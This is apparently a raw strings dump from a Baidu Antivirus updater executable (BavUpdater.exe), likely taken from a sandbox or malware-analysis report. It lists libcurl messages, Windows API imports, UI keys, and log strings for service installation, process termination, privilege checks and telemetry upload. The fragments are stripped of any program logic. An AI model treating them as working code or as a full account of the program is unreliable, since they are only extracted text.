Problem (%d) in the Chunked-Encoded data

Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)

Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld

Operation timed out after %ld milliseconds with %lld bytes received

No URL set!

[^?&/:]://%c

Issue another request to this URL: '%s'

Violate RFC 2616/10.3.2 and switch from POST to GET

Violate RFC 2616/10.3.3 and switch from POST to GET

Disables POST, goes with %s

WSAStartup failed (%d)

insufficient winsock version to support telnet

%s IAC %s

%s IAC %d

%s %s %s

%s %s %d

%s %d %d

Sending data failed (%d)

%s IAC SB

%s (unsupported)

%d (unknown)

USER,%s

7[^= ]%*[ =]%5s

Syntax error in telnet option: %s

Unknown telnet option %s

%c%c%c%c%s%c%c

%c%c%c%c

7[^,],7s

%c%s%c%s

WS2_32.DLL

failed to load WS2_32.DLL (%d)

failed to find WSACreateEvent function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSAEnumNetworkEvents function (%d)

WSACreateEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACloseEvent failed (%d)

FreeLibrary(wsock2) failed (%d)

SMTP

EHLO %s

HELO %s

AUTH %s %s

Got unexpected smtp-server response: %d

Remote access denied: %d

smtp

MAIL FROM:%s

MAIL FROM:%s AUTH=%s

MAIL FROM:%s AUTH=%s SIZE=%s

MAIL FROM:%s SIZE=%s

RCPT TO:%s

RCPT TO:<%s>

MAIL failed: %d

RCPT failed: %d

SMTPS not supported!

Establish HTTP proxy tunnel to %s:%hu

%s:%hu

%s%s%s:%hu

Host: %s

CONNECT %s HTTP/%s

%s%s%s%s

HTTP/1.%d %d

TUNNEL_STATE switched to: %d

Received HTTP code %d from proxy after CONNECT

%sAuthorization: Basic %s

The requested URL returned error: %d

%s auth using %s with user '%s'

%s, d %s M d:d:d GMT

If-Modified-Since: %s

If-Unmodified-Since: %s

Last-Modified: %s

Chunky upload is not supported by HTTP 1.0

Host: %s%s%s

Host: %s%s%s:%hu

PTF://

Range: bytes=%s

Content-Range: bytes %s%lld/%lld

Content-Range: bytes %s/%lld

PTF://%s:%s@%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

%s%s=%s

Internal HTTP POST error!

Content-Type: application/x-www-form-urlencoded

Failed sending HTTP POST request

Failed sending HTTP request

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %s

HTTP error before end of send, stop sending

HTTP/%d.%d =

HTTP =

RTSP/%d.%d =

HTTP 1.0, assume close after body

HTTP/1.0 proxy connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 connection set to keep alive!

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

Unsupported protocol

URL using bad/illegal format or missing URL

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

FTP: weird server reply

FTP: The server failed to connect to data port

FTP: Accepting server connect has timed out

FTP: The server did not accept the PRET command.

FTP: unknown PASS reply

FTP: unknown PASV reply

FTP: unknown 227 response format

FTP: can't figure out the host in the PASV response

FTP: couldn't set file type

FTP: couldn't retrieve (RETR failed) the specified file

HTTP response code said error

FTP: command PORT failed

FTP: command REST failed

Operation was aborted by an application callback

A libcurl function was given a bad argument

An unknown option was passed in to libcurl

SSL peer certificate or SSH remote key was not OK

Problem with the local SSL certificate

Peer certificate cannot be authenticated with given CA certificates

Problem with the SSL CA cert (path? access rights?)

Unrecognized or bad HTTP Content or Transfer-Encoding

Invalid LDAP URL

Issuer check against peer certificate failed

Login denied

TFTP: File Not Found

TFTP: Access Violation

TFTP: Illegal operation

TFTP: Unknown transfer ID

TFTP: No such user

Caller must register CURLOPT_CONV_ callback options

Error in the SSH layer

Unable to parse FTP file list

Please call curl_multi_perform() soon

CURLSHcode unknown

Protocol option is unsupported

Protocol is unsupported

Socket is unsupported

Operation not supported

Address family not supported

Protocol family not supported

Winsock version not supported

Unknown error %d (%#x)

d:d:d

d:d

%c%c==

%c%c%c=

%s xxxxxxxxxxxxxxxx

00000001

12345678

%s/%s

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s

0123456789-

; filename="%s"

%s; boundary=%s

Content-Type: multipart/mixed, boundary=%s

Content-Type: %s

couldn't open file "%s"

--%s--

SYN.ACK

ACK.SYN

XXX

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavOutput\Pdb\Release\BavUpdater.pdb

WTSAPI32.dll

IPHLPAPI.DLL

GetProcessHeap

DisconnectNamedPipe

CreateNamedPipeW

ConnectNamedPipe

WaitNamedPipeW

SetNamedPipeHandleState

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

MsgWaitForMultipleObjectsEx

CloseWindowStation

OpenWindowStationW

USER32.dll

RegCloseKey

RegOpenKeyExW

RegDeleteKeyW

RegCreateKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExA

RegOpenKeyW

RegEnumKeyW

ADVAPI32.dll

ShellExecuteW

SHFileOperationW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

VERSION.dll

PSAPI.DLL

WinHttpQueryHeaders

WinHttpReceiveResponse

WinHttpSendRequest

WinHttpOpenRequest

WinHttpConnect

WinHttpOpen

WinHttpCloseHandle

WinHttpCreateUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpGetProxyForUrl

WinHttpGetIEProxyConfigForCurrentUser

WINHTTP.dll

RPCRT4.dll

WS2_32.dll

WLDAP32.dll

USERENV.dll

GetCPInfo

GetConsoleOutputCP

PeekNamedPipe

SHDeleteKeyW

.?AVReport113Item@report@@

.?AVReport79Item@report@@

.?AVReport99Item@report@@

.?AVOperationPublic@OperationPB@@

.?AVOperationRequest@OperationPB@@

.?AVOperationResultHead@OperationPB@@

.?AVOperationResponse@OperationPB@@

.?AVOperationResult@OperationPB@@

.?AVOperationBody@OperationPB@@

.?AVOperationResultBody@OperationPB@@

zcÁ

.?AVCClearNoSupportMultiTask@gnet@@

.?AV?$CSafeSingleton@VBugReportHelper@@@@

.?AVCHeapMemAlloc@BugReportHelper@@

.?AVBugReportHelper@@

.?AUPIPEINST2@@

.?AVCMD5Checksum@@

.PAVCAtlException@ATL@@

2QKoC%f

phfv.sv

<.nn)M

%umY^|

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

xuser32.dll

pcommand_line_analyze_: %d: %s.

iexplore.exe

hXXp://antivirus.baidu.com/en/

ReleaseCurMutexWithUi_: Call ReleaseMutex failed(x)

CreateCurMutexWithUi_: Wait Mutex, result is x

CreateCurMutexWithUi_: Call CreateMutex error(x).

bav_updater_mutex_B2A2334C-E54B-4db6-92D2-8EB2747D235F

SingleInstanceCheckBeforeRun_: Call MapViewOfFile failed(x)

SingleInstanceCheckBeforeRun_: Call CreateNamedShareMem failed(x)

bav_updater_map_file_B2A2334C-E54B-4db6-92D2-8EB2747D235F

SingleInstanceCheckBeforeRun_: Call CreateMutex failed(x).

notify_bav_update_avira_state_: Call OpenFileMapping(%s) failed(0x%x).

notify_bav_update_avira_state_: Call MapViewOfFile(%s) failed(0x%x).

notify_bav_update_avira_state_: Post 0x%x 0x%x to BavTray.

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

run_task_scheduler_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s %s successful.

run_task_scheduler_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s %s failed.

run_task_scheduler_update_: Call Session_Token_StaticLib::StartUserAppInSrv %s %s successful.

run_task_scheduler_update_: Call Session_Token_StaticLib::StartUserAppInSrv %s %s failed.

"%s" %s

run_task_scheduler_update_: Call GetModuleFileName failed(%d), return 0.

run_task_scheduler_update_: Call GetModuleFileName failed(%d).

ultimate_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s successful.

ultimate_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s failed.

set_background_update_state_: The module file name(%s) is wrong.

set_background_update_state_: Call OpenFileMapping(%s) failed(0x%x).

set_background_update_state_: Call MapViewOfFile(%s) failed(0x%x).

set_background_update_state_: The BavUI Mapfile's BavTray handle(0x%x) is wrong.

set_background_update_state_: Post WM_NOTIFY_UPDATEVERSION to BavTray(0x%x).

set_background_update_state_: Call Session_Token_StaticLib::StartAppForUser_Safe %s successful.

set_background_update_state_: Call Session_Token_StaticLib::StartAppForUser_Safe %s failed.

set_background_update_state_: Create BavTray.exe -UpdateVersion..

"%s" -UpdateVersion

set_background_update_state_: There is no %s process, we donot notify the main ui.

set_background_update_state_: The config file's %s value is same with set value.

set_background_update_state_: Call GetModuleFileName failed, RetCode = 0x%x, LastErerror = 0x%x.

comctl32.dll

_tWinMain_: Skip tasker scheduler updater(0x%x).

\DirectUI.dll

CMainFrame::OnExitMsg_: Another obj want me to quit.

Aupdater.bs1_check_str

btn.bs1_update_now

updater.bs1_point_3

updater.bs1_point_2

updater.bs1_point_1

updater.bs1_new_version

updater.bs1_a_new_version

updater.bs1_default_pic

updater.text_reboot_computer

updater.text_serious_problem

updater.text_alert

updater.pic_reboot_tittle

updater.icon_warning

btn.warning_reinstall_update

updater.reinstall_warning_update

updater.reinstall_warning_continue

updater.reinstall_warning_available

updater.reinstall_warning_dear

updater.reinstall_warning_image

updater.pcf_program_version

updater.pcf_complete_notification_string

updater.pcf_popularise_title

updater.pcf_popularise_big_log

btn.popularize_ok

btn.reinstall_update

btn.cb_installer_popularise

btn.with_ui_pop_click_her.link

btn.manually_reboot

btn.immediately_reboot

btn.cancel

updater.with_ui_pop_new_feature_3

updater.with_ui_pop_new_feature_2

updater.with_ui_pop_new_feature_1

updater.with_ui_pop_version_value

updater.with_ui_pop_version_key

updater.with_ui_pop_new_version_avaliable

updater.sign_version_value

updater.program_version_value

updater.sign_version

updater.program_version

updater_static.up_to_date

updater.restart_value

updater.restart

updater.completed_value

updater.completed

updater.fail_check_your_network

updater.update_file

updater.download_file

updater.check

updater.update_file_image

updater.download_file_image

updater.check_image

updater.inner_image

updater.logo

updater.title

updater.time

updater.used_time

update.processing.progress

updater.doing

updater.fail_image

updater.complete_image

updater.doing_image

btn.mainframe_min

btn.mainframe_close

updater.check_image_doing

updater.update_file_image_doing

updater.download_file_image_doing

updater.step_doing_image

updater.step_waiting_image

updater.initializing

updater.bk_frame_smal

updater.bk_frame_warning_reinstall

updater.bk_frame_critical

Td:d:d

w_url_to_stamp

w_url_from_stamp

w_url_to_version

w_url_from_version

b_url_to_stamp

b_url_from_stamp

b_url_to_version

b_url_from_version

MyDeleteDir_: Call RemoveDirectory(%s) failed(x).

MyDeleteDir_: Call FindClose failed(x).

MyDeleteDir_: Call DeleteFile(%s) failed(x).

MyDeleteDir_: Call delete_dir(%s) failed(x).

CMainFrame::update_reinstall_new_features_: The installer has %d new features.

updater.with_ui_pop_new_feature_

BavUpdateInfo.ini

updater.Tahoma.13

update_version_key_str

CMainFrame::run_bav_: Call BavHelper_StaticLib::RunExe %s successful.

CMainFrame::run_bav_: Call BavHelper_StaticLib::RunExe %s failed.

I18N\%d\%s

I18N\%d\Font

%s%s%s\%s

%s%s%s\Font

%s\I18N\%d\%s

%s\I18N\%d\Font

%s\I18N\%d

%s.zip

%s\dynamicskin\%s.bskin

update_callback_: Call PostMessage failed(x).

CMainFrame::warning_reinstall_on_direct_ui_click_: Call BavHelper_StaticLib::RunExe %s successful.

CMainFrame::OnDirectUIClick_: Call BavHelper_StaticLib::RunExe %s /Update failed.

CMainFrame::warning_reinstall_on_direct_ui_click_: Call BavCreateProcessBySvc %s /Update successful.

CMainFrame::warning_reinstall_on_direct_ui_click_: Call BavCreateProcessBySvc %s /Update failed.

PopularizeExeParam

CMainFrame::DoWork_: Call CBavConfigIni::GetString failed(0x%x).

CMainFrame::OnSysCommand_: Call CBavConfigIni::GetString failed(0x%x).

updater.cb_installer_popularise

CMainFrame::OnCreate_: Call m_clTaskManager.Init failed(0x%x).

[BavUpdater] Icon loading cx: %d cy: %d

CMainFrame::OnCreate_: Call CreateEvent failed(0x%x), we will not use dynamic ask message box.

updater.with_ui_pop_check_box_str

program_version_key

updater.bk_frame_popularize

CMainFrame::OnDirectUIClick_: Call BavHelper_StaticLib::RunExe %s.

CMainFrame::OnDirectUIClick_: Call BavCreateProcessBySvc %s /Update successful.

CMainFrame::OnDirectUIClick_: Call BavCreateProcessBySvc %s /Update failed.

updater.bs1_point_un

updater.bs1_point_in

CMainFrame::OnDirectUIClick_: Call CBavConfigIni::GetString failed(0x%x).

updater.Tahoma.12

updater.Tahoma.17

updater.bg_bubble_style_1

CMainFrame::OnUpdateMsg: Finsh close to dynamic update message box.

CMainFrame::OnUpdateMsg: Start close to dynamic update message box.

updater_style.note_image_big

updater.update_file_doing

updater.step_finished_image

updater.download_file_doing

CMainFrame::OnUpdateMsg_: Call PostMessage(WM_CLOSE) successful.

CMainFrame::OnUpdateMsg_: Call PostMessage(WM_CLOSE) failed(x).

updater.avira_updating

updater.check_doing

\BavUpdater.log

\log.dll

btn.stopdlg.closebav

btn.stopdlg.ok

stopdlg.note

stopdlg.note_image

stopdlg.update_now

stopdlg.update_close

stopdlg.update_note_image

updater.btn.close

btn.stopdlg.cancel

sGlobal\Bav_UN_Server_Event_29309FFE-F85F-48db-ACD9-BCEB41082352

Global\Bav_UN_Client_Event_B858FCB2-024A-4681-88E5-E1F972FE981E

Global\Bav_UN_OP_MUTEX_82903275-78C2-4c10-B101-A5E63C00DB2F

Global\Bav_UN_Map_File_07AA3BEF-76AE-4894-8027-BD98C9E0952C

TCBavUpdateMan::my_shell_execute_: Call ShellExecuteEx(%s, %s) failed(0x%x), ExecInfo.hProcess=%d

CBavUpdateMan::my_shell_execute_: Call GetExitCodeProcess failed(0x%x), dwExitCode = 0x%x

CBavUpdateMan::is_can_update_by_bubble_: User return code is %d.

CBavUpdateMan::is_can_update_by_bubble_: Call WaitForSingleObject return 0x%x lasterror 0x%x.

CUpdateConfig::set_update_failed_code_: Call pclUpdate->GetUpdateInfo(enumUpdateGetInfoTypeCommunicationRepeatCount) failed(0x%x).

CUpdateConfig::set_update_failed_code_: Call pclUpdate->GetUpdateInfo(enumUpdateGetInfoTypeCommunicationFailed) failed(0x%x).

CBavUpdateMan::active_user_report_: Call ActiveUserReport failed.

RunExeWithToken_: Call GetExitCodeProcess failed(%d)

RunExeWithToken_: Call CreateProcessAsUser failed(%d)

RunExeWithToken_: Call DuplicateTokenEx failed(%d)

RunExeWithToken_: Call OpenProcessToken failed(%d)

IsCurrentUserIsAdmin_: The result is %d.

IsCurrentUserIsAdmin_: Call GetTokenInformation failed(%d)

IsCurrentUserIsAdmin_: Call LocalAlloc failed(%d)

IsCurrentUserIsAdmin_: Call OpenProcessToken failed(%d)

IsUserAdmin_: Call CheckTokenMembership result is %d

IsUserAdmin_: Call CheckTokenMembership failed(%d)

IsUserAdmin_: Call AllocateAndInitializeSid failed(%d)

IsAcctiveUserHasAdminAuthority_: The result is %d

IsAcctiveUserHasAdminAuthority_: Call GetTokenInformation failed(%d).

IsAcctiveUserHasAdminAuthority_: Call CommonUtil::GetActiveDesktopToken failed %d

IsAcctiveUserHasAdminAuthority_: Session_Token_StaticLib::WTSQueryUserToken_Safe(%d) failed(%d).

CBavUpdateMan::set_svc_reg_: Call reg.Create(HKEY_LOCAL_MACHINE, %s) failed(0x%x).

CBavUpdateMan::set_svc_reg_: Call reg.SetDWORDValue(%s) failed(0x%x).

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

CBavUpdateMan::delete_svc_reg_: Call reg.Open(HKEY_LOCAL_MACHINE, %s) failed(0x%x).

CBavUpdateMan::delete_svc_reg_: Call reg.DeleteValue(%s) failed(0x%x).

GetProcessByName_: We found process(%s).

GetProcessByName_: We found error process(%s).

GetProcessByName_: Call Process32First failed(x).

GetProcessByName_: Call CreateToolhelp32Snapshot failed(x).

CBavUpdateMan::is_service_auto_start_: dwStartType = %d

CBavUpdateMan::is_service_auto_start_: Call QueryServiceConfig failed(0x%x)

CBavUpdateMan::is_service_auto_start_: Call OpenService failed(0x%x)

CBavUpdateMan::is_service_auto_start_: Call OpenSCManager failed(0x%x)

CBavUpdateMan::is_service_auto_start_: End(0x%x)

CBavUpdateMan::is_service_auto_start_: Call ChangeServiceConfig failed(0x%x)

%s_%s_%s_%d_%d

Global\Bav_UN_Sign_CB3EF0CC-E419-4b9e-AA21-0F5A5B04E164

report_time

ReloadEngine_: dwUpdateReturnCode = 0x%x, dwUpdateModule = 0x%x, strMajorVersion = %s, dwUpdateTime = 0x%x dwUpdateMethod = 0x%x, dwReserved = 0x%x.

ReloadEngine_: End(x).

bd_av_ui_8EABE9C4-D18C-4f07-8353-831B9A8ED29A

CBavUpdateMan::get_program_version_: Call CClientInfo::GetVersionInfoEx failed(x).

CBavUpdateMan::get_program_version_: The clUpdateReboot.GetLastRebootLocalDir should not go here.

\version.xml

CBavUpdateMan::get_program_version_: Call clUpdateReboot.GetLastRebootLocalDir failed(x).

CBavUpdateMan::get_module_ids_: Call m_clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeUpdateModuleIds) failed(x).

\sc.ini

\nsc.ini

is_av_pro_: The return code is (%d).

CBavUpdateMan::stop_protect_drv_: DeviceIoControl=%d, GetLastError=%u

CBavUpdateMan::stop_protect_drv_: Cannot open driver handle, GetLastError=0x%x.

CBavUpdateMan::get_process_file_path_by_pid_: Call GetModuleFileNameEx failed(%d).

CBavUpdateMan::get_process_file_path_by_pid_: Call IsWow64Process failed(%d).

CUpdateAgent::reload_drivers_: Call Uninstall failed(%d).

CUpdateAgent::reload_drivers_: Call GetProcAddress failed(0x%x).

CUpdateAgent::reload_drivers_: Call LoadLibary failed(0x%x).

DrvInst.dll

CBavUpdateMan::get_server_respond_program_version_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

CBavUpdateMan::get_server_respond_program_version_: The install version is %s.

CBavUpdateMan::update_cloud_sign_version_: Call SHGetFolderPath failed(0x%x).

CBavUpdateMan::update_cloud_sign_version_: Update the baidu virus signature database to the virus signature database %s.

CBavUpdateMan::install_service_: End(0x%x)

sc create, lastErr=%u

create %s binpath= "\"%s\"" type= own start= auto displayname= "%s"

CommonUtil::IsServiceInstall, ret=0, lastErr=%u

CBavUpdateMan::install_service_: Call CommonUtil::InstallService failed(0x%x)

sc.exe

CBavUpdateMan::install_service_: Begin(%s).

CUpdateConfig::update_upload: Call pclUpdate->GetUpdateInfo(enumUpdateGetInfoTypeCommunicationRepeatCount) failed(0x%x).

CBavUpdateMan::upload_bav_report_data_: Report avira data successful.

CBavUpdateMan::upload_bav_report_data_: Call CUpdateDataReport::Instance()->BavUpdateReport() failed(0x%x).

CBavUpdateMan::upload_bav_report_data_: Call CUpdateDataReport::Instance()->Initialize() failed(0x%x).

CBavUpdateMan::upload_bav_report_data_: Report avira data, Result = 0x%x, Md5FromTimeStamp = 0x%x, Md5ToTimeStamp = 0x%x, MicroFromTimeStamp = 0x%x, MicroToTimeStamp = 0x%x, UrlFromTimeStamp = 0x%x, UrlToTimeStamp = 0x%x, DownloadRate = 0x%x, UpdateMethod = 0x%x, ErrorCode = 0x%x, ProgramFromVersion = %s, ProgramToVersion = %s, OldUserId = %s, Channel = %s, MdouleIds = %s, ErrorStr = %s, ProgramUpdateType = %d, SignUpdateType = %d

CBavUpdateMan::DoWork_: Call m_clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeDownloadSpeed) failed(0x%x).

CBavUpdateMan::run_bav_: Call BavHelper_StaticLib::RunExe %s successful.

CBavUpdateMan::run_bav_: Call BavHelper_StaticLib::RunExe %s failed.

CBavUpdateMan::download_server_data_report_: There was not program update.

CBavUpdateMan::download_server_data_report_: Call CUpdateServerReport::GetServerReportDataBaseInfo failed(x).

BavUpdaterPostMsgToBavUi_: Call ipc::SendRequest failed.

BavUpdaterPostMsgToBavUi_: User quit.

BavUpdaterPostMsgToBavUi_: Failed to connect to bavsvc.

BavUpdaterPostMsgToBavUi_: Failed to connect to bavsvc, we will try again later.

BavUpdaterPostMsgToBavUi_: Statu = %d, Percent = %d.

BavCreateProcessBySvc_: Process %s %s.

NotifyBavTrayUpdate_: The module file name(%s) is wrong.

NotifyBavTrayUpdate_: Call OpenFileMapping(%s) failed(0x%x).

NotifyBavTrayUpdate_: Call MapViewOfFile(%s) failed(0x%x).

NotifyBavTrayUpdate_: The BavUI Mapfile's BavTray handle(0x%x) is wrong.

NotifyBavTrayUpdate_: Post WM_NOTIFY_UPDATEVERSION to BavTray(0x%x).

NotifyBavTrayUpdate_: There is no %s process, we donot notify the main ui.

NotifyBavTrayUpdate_: Call GetModuleFileName failed, RetCode = 0x%x, LastErerror = 0x%x.

CAviraUpdateMain::WaitUntilUpdateEnd_: Call WaitForSingleObject return failed(%d).

CBavUpdateMan::update_baidu_sign_date_to_appdate_config_: Call SHGetFolderPath(CSIDL_COMMON_APPDATA) failed(0x%x).

CBavUpdateMan::update_baidu_sign_date_to_appdate_config_: Update the baidu virus signature database to the virus signature database %s.

CBavUpdateMan::update_baidu_sign_date_to_appdate_config_: The baidu virus signature database is 0x%x, old is 0x%x.

CBavUpdateMan::update_baidu_sign_date_to_appdate_config_: Update the baidu virus signature database to %s.

CBavUpdateMan::kill_proc_: Call TerminateProcess(%s) failed(0x%x).

CBavUpdateMan::kill_proc_: Call CreateToolhelp32Snapshot failed(x).

CBavUpdateMan::is_bav_busy_: The process(%s) is runing.

CBavUpdateMan::is_bav_busy_: The BavTray process(%s) is runing.

CBavUpdateMan::is_bav_busy_: Call CreateToolhelp32Snapshot failed(x).

CBavUpdateMan::is_proc_is_runing_: Call CreateToolhelp32Snapshot failed(x).

CUpdateConfig::wait_exe_quit_: The process(%s) is not runing.

CBavUpdateMan::wait_exe_quit_: User quit.

CUpdateConfig::wait_must_wait_exe_quit_: Call wait_exe_quit(%s, 60) return FALSE.

CUpdateConfig::quit_bav_tray_: Call kill_proc(%s) successful.

CUpdateConfig::quit_bav_tray_: Call kill_proc(%s) failed(0x%x).

CBavUpdateMan::start_svcs_: End(0x%x).

CBavUpdateMan::start_svcs_: Call sc start, lastErr=0x%x.

start %s

CBavUpdateMan::start_svcs_: Call CommonUtil::StartService, bRetCode=0x%x, lastErr=0x%x.

CBavUpdateMan::start_svcs_: Begin(%s).

CBavUpdateMan::start_bav_exe_as_active_user_: End(0x%x).

CBavUpdateMan::start_bav_exe_as_active_user_: User quit.

CBavUpdateMan::start_bav_exe_as_active_user_: The process is runing.

CBavUpdateMan::start_bav_exe_as_active_user_: Call CHelper::RunExe.

CBavUpdateMan::start_bav_exe_as_active_user_: Call Session_Token_StaticLib::StartAppForUser_Safe %s successful.

CBavUpdateMan::start_bav_exe_as_active_user_: Call Session_Token_StaticLib::StartAppForUser_Safe %s failed.

CBavUpdateMan::start_bav_exe_as_active_user_: Call SessionMan.StartAppForActiveUser.

CBavUpdateMan::start_bav_exe_as_active_user_: Begin(%s).

CUpdateConfig::restart_bav_services_and_set_auto_start_: The bavtray or service exe file name was wrong.

CBavUpdateMan::restart_bav_services_and_set_auto_start_: Call clUpdate.GetUpdateInfo failed(0x%x)

update_avira_: Call m_pclBavAviraMain->UpdateAvira failed(0x%x).

CBavUpdateMan::get_url_version_and_timestamp_: Call clSignLibEncrypt.DecryptLib(%s) function failed.

CBavUpdateMan::get_update_from_info_: Call get_url_version_and_timestamp function failed.

CBavUpdateMan::get_update_to_info_: Call get_url_version_and_timestamp function failed.

CBavUpdateMan::is_need_reboot_update_by_reboot_services_running_: The process(%s) status is SERVICE_RUNNING.

CBavUpdateMan::is_need_reboot_update_by_reboot_services_running_: The process(%s) is runing.

CBavUpdateMan::kill_svc_exes_: User quit.

CUpdateConfig::get_report_info_: Call CreateThread failed(0x%x).

CUpdateConfig::get_report_info_: Call CreateEvent failed(0x%x).

CBavUpdateMan::update_download_files_: Call clUpdate.UpdateFiles failed(0x%x).

CBavUpdateMan::update_download_files_: The signs were not freed by sign loaders in %d millseconds.

CUpdateConfig::update_upload: Call pclUpdate->GetUpdateInfo(enumUpdateGetInfoTypeUpdateSignTypeStr) failed(0x%x).

CBavUpdateMan::update_download_files_: Call CBavUpdateNotify::Register failed(0x%x).

bavupdater.exe

CBavUpdateMan::ReportPcfPopulariseInfo_: Call get_report_info failed(0x%x).

CBavUpdateMan::ReportPcfPopulariseInfo_: Report info is %s.

%s?type=bav_updater_new_popularize&id=%s&partnerID=%s&installname=%s

hXXp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi

CBavUpdateMan::UpdateServerDataReport_: There was not program update.

CBavUpdateMan::UpdateServerDataReport_: Call QueryPerformanceFrequency failed(%d).

cgi-bin/get_update_result_info.cgi

CBavUpdateMan::update_upload_: Upload url is %s.

CBavUpdateMan::DoWork_: Call m_clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeSignUpdateType) failed(0x%x).

CBavUpdateMan::DoWork_: Call m_clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeProgramUpdateType) failed(0x%x).

cgi-bin-py/get_feature_update_info_bav.cgi?

CBavUpdateMan::already_done_upload_: Call update_upload failed(x).

CBavUpdateMan::already_done_upload_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

CBavUpdateMan::already_done_upload_: The install version is %s.

CBavUpdateMan::already_done_upload_: Call get_update_to_info failed(x).

CBavUpdateMan::already_done_upload_: Call get_update_from_info failed(x).

CBavUpdateMan::reinstall_upload_: Call update_upload failed(x).

CBavUpdateMan::reinstall_upload_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

CBavUpdateMan::reinstall_upload_: The install version is %s.

CBavUpdateMan::reinstall_upload_: Call get_update_to_info failed(x).

CBavUpdateMan::reinstall_upload_: Call get_update_from_info failed(x).

CBavUpdateMan::no_reinstall_upload_: Call update_upload failed(x).

CBavUpdateMan::failed_upload_: Call update_upload failed(x).

CBavUpdateMan::failed_upload_: Call get_update_to_info failed(x).

CBavUpdateMan::failed_upload_: Call get_update_from_info failed(x).

CBavUpdateMan::DoWork_: Need update url sign lib.

CBavUpdateMan::reinstall_update_sign_lib_files_: Call get_update_to_info failed(x).

nsc.ini_new

sc.ini_new

CBavUpdateMan::reinstall_update_sign_lib_files_: Call clUpdate.UpdateFiles failed(0x%x).

CBavUpdateMan::reinstall_update_sign_lib_files_: Call get_update_from_info failed(0x%x).

CBavUpdateMan::init_update_agent_: Call m_clUpdate.SetUpdateInfo(enumUpdateSetIsWindowVisible) failed(0x%x).

CBavUpdateMan::init_update_agent_: Call m_clUpdate.SetUpdateInfo(enumUpdateSetIsAviraInstalled) failed(0x%x).

CBavUpdateMan::init_update_agent_: Call m_clUpdate.Init SetUpdateInfo(0x%x).

CBavUpdateMan::init_update_agent_: Call m_clUpdate.Init failed(x).

CBavUpdateMan::init_update_agent_: Call m_clUpdate.AgentInit failed(x).

update.dll

CBavUpdateMan::is_need_skip_bubble_: There is no %s process, update pop will be skip.

CBavUpdateMan::is_need_skip_bubble_: Call GetModuleFileName failed(%d), return 0.

CBavUpdateMan::is_need_skip_bubble_: Call GetModuleFileName failed(%d).

CBavUpdateMan::get_reinstall_bubble_info_: Call CBavConfigIni::SetString failed(0x%x).

CBavUpdateMan::get_reinstall_bubble_info_: The bubble poped at %d hours.

CBavUpdateMan::get_reinstall_bubble_info_: Call clPopularize.SendUpdateRequest failed.

CBavUpdateMan::get_reinstall_bubble_info_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

CBavUpdateMan::get_reinstall_bubble_info_: Call clPopularize.Initialize failed.

CAviraUpdateMain::Init_: Call CUpdateDataReport::Instance()->Initialize() failed(0x%x).

CBavUpdateMan::Init_: Call init_update_agent failed(x).

CBavUpdateMan::ReinstallPopUpload_: Call update_upload failed(x).

CBavUpdateMan::ReinstallPopUpload_: Call get_update_to_info failed(x).

CBavUpdateMan::ReinstallPopUpload_: Call get_update_from_info failed(x).

CBavUpdateMan::is_can_dynamic_update_: User return code is %d.

CBavUpdateMan::is_can_dynamic_update_: Call WaitForSingleObject return 0x%x lasterror 0x%x.

CBavUpdateMan::is_can_dynamic_update_: Call get_update_file_lists failed(0x%x).

CBavUpdateMan::is_can_dynamic_update_: Call is_can_dynamic_update failed(0x%x)

CBavUpdateMan::kill_bav_exes_: Call CreateToolhelp32Snapshot failed(x).

CUpdateConfig::kill_bav_exes_: Call _wcslwr_s failed.

stop %s

control %s 222

CBavUpdateMan::get_update_file_lists_: Call clUpdate.GetUpdateFilesList failed(0x%x)

CUpdateConfig::get_update_file_lists_: The bavtray or service exe file name was wrong.

CBavUpdateMan::get_update_file_lists_: Call create_file_list_set failed(0x%x)

CBavUpdateMan::get_update_file_lists_: Call clUpdate.GetUpdateInfo failed(0x%x)

CBUM::StopBav: kill_svc_exes failed.

CBUM::StopBav: kill_bav_exes failed.

CUpdateConfig::create_file_list_set_: Call kill_bav_exes failed(0x%x).

CUpdateConfig::kill_proc_and_stop_svc_: Call set_svc_reg failed(0x%x).

CUpdateConfig::kill_proc_and_stop_svc_: Call quit_bav_tray failed(0x%x).

CBUM::StopBav: wait_must_wait_exe_quit failed.

